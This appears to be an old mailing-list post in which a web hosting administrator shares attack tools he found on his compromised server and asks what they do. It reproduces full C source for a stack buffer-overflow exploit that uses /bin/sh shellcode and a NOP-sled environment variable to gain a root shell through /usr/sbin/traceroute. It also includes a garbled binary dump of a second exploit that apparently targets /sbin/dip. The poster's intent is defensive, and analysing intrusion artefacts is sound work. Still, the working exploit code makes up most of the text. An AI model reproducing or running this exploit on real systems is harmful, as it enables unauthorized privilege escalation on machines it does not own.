Hello,

Well I busted somebody  trying to hack my webserver that we do hosting on.
Since I'm not an expert at decoding some of this stuff, I thought I would
post the hacks here, hoping that somebody could shed some light on it.  Oh,
by the way, I caught this guy because he was careless and didn't delete the
.bash_history file.

Here is the source code for the c.c hack and I've attached another program
called a.out (not sure what that program does)  Any comments are greatly
appreciated,  David

/*
   gcc -o trace_shell trace_shell.c
*/
#include <stdlib.h>

#define DEFAULT_OFFSET                 0
#define DEFAULT_BUFFER_SIZE            1019
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);
 
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  printf("Now run: /usr/sbin/traceroute $RET\n");
  system("/bin/bash");
}
ELF<4@
4 
(444ԀԀ<<</lib/ld-linux.so.2


 

 
<#91?`hE܄W"\a>h'o{v`|
,"̘ 
̄"̘̘ <
|̘̘И__gmon_start__libc.so.6_DYNAMIC_GLOBAL_OFFSET_TABLE__fini_init__libc_init_firstopenexitatexitstrcpyperrorexeclstrlenclose_environwrite__environenvironld-linux.so.2_start_etext_edata__bss_start_end8̘
 $ (,
04US[Û4t{]]5%
%h%h%h%h% h 
%$h(%(h0%,h8p%0h@`%4hHP1tRX^D̘PPRVh|XBPUS=tЃ;u]ÍvUÐUÐU

ShP@Dž~#vАDž~v֍vDžh9r(

hhAhO
}hjPPP
PjhhhmÐUS=tЃ;u]ÍvUÐUS[{]]chatkey
 
temp.dipdip/sbin/dip$^^3҉VVV45V4Ǹ3@̀/bin/sh<„҄"2
`

PGCC:
 (GNU) 2.7.2.3GCC: (GNU) 2.7.2.3GCC: (GNU) 2.7.2.3GCC: (GNU) 2.7.2.3GCC: (GNU) 
2.7.2.301.0101.0101.0101.0101.01.symtab.strtab.shstrtab.interp.hash.dynsym.dynstr.rel.got.rel.bss.rel.plt.init.plt.text.fini.rodata.data.ctors.dtors.got.dynamic.bss.comment.noteԀ#)19
 B K 
P 
T``,Z_<<@ek
 
s8y8<<̘dd0
    d 
p,  
pԀ`
   <

<̘d

L
&L
<It
T
b|

o

T

'<|3
`{̘ 
̘`h̄"<
܄̘
# 
.14>;̘BXИ]
afm"r
," 
initfini.cgcc2_compiled.crtstuff.c__do_global_ctors_aux__CTOR_END__init_dummyforce_to_data__DTOR_END____do_global_dtors_aux__DTOR_LIST__fini_dummy__CTOR_LIST__c.cstrcpy_DYNAMIC_etextshellexeclperror_environ__environ_initwrite_start__libc_init_first__bss_startmaindata_start_finiatexit_edata_GLOBAL_OFFSET_TABLE__endespexitstrlenopen__data_startclose__gmon_start__

Reply via email to